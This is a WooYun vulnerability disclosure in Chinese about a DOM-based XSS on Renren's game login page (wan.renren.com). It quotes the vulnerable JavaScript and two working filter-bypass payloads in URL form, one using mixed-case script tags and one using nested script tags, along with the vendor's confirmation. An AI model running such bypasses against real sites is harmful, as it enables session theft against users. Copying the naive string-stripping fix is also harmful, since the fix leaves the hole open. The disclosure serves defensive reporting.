当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137158

漏洞标题:人人游戏 XSS Chrome可弹

相关厂商:人人网

漏洞作者: j0phy

提交时间:2015-08-26 18:09

修复时间:2015-10-11 14:30

公开时间:2015-10-11 14:30

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-26: 细节已通知厂商并且等待厂商处理中
2015-08-27: 厂商已经确认,细节仅向厂商公开
2015-09-06: 细节向核心白帽子及相关领域专家公开
2015-09-16: 细节向普通白帽子公开
2015-09-26: 细节向实习白帽子公开
2015-10-11: 细节向公众公开

简要描述:

XSS过滤器绕过,该反射dom xss在chrome下可以弹窗

详细说明:

这个洞原型是 http://wooyun.org/bugs/wooyun-2015-097749
这个洞由于是dom型,chrome等可以弹窗
这个洞很久都没有修,今天发现修复了,但是仍然可以利用。
我仔细说一下

<script type="text/javascript">
var _err=(RRG_UTILS.getParamVal("err")==null)?"":RRG_UTILS.getParamVal("err");
$(function(){
if(_err!=""){
RRG_USER.dispalyTips('errtips_',_err);
}
});
</script>


接收 err 参数,然后调用dispalyTips显示_err。

1.jpg


我们跟进这个函数,RRG_UTILS.getParamVal()

getParamVal: function(paramName) {
var urlString = document.location.search.replace("script", "");
if (urlString != null) {
var typeQu = "&" + paramName + "=";
var urlEnd = urlString.indexOf(typeQu);
if (urlEnd == -1) {
typeQu = "?" + paramName + "=";
urlEnd = urlString.indexOf(typeQu);
}


这种修复方法直接把 script 替换了,然并卵。
利用方法:
姿势一:script大小写组合
http://wan.renren.com/login/?err=jo<scriPt>alert(/1/)</scriPt>
姿势二:重复script
http://wan.renren.com/login/?err=jo<scriscriptpt>alert(/1/)</script>
这样去掉script 剩下后还会是 一个完整的 payload

漏洞证明:

http://wan.renren.com/login/?err=jo<scriPt>alert(/1/)</scriPt>

2.jpg


http://wan.renren.com/login/?err=jo<scriscriptpt>alert(/1/)</script>

3.jpg

修复方案:

过滤

版权声明:转载请注明来源 j0phy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-08-27 14:29

厂商回复:

非常感谢,部分开发人员对安全编码不太熟悉,修复较为粗糙,我们已经通知技术人员,继续完善修复。

最新状态:

暂无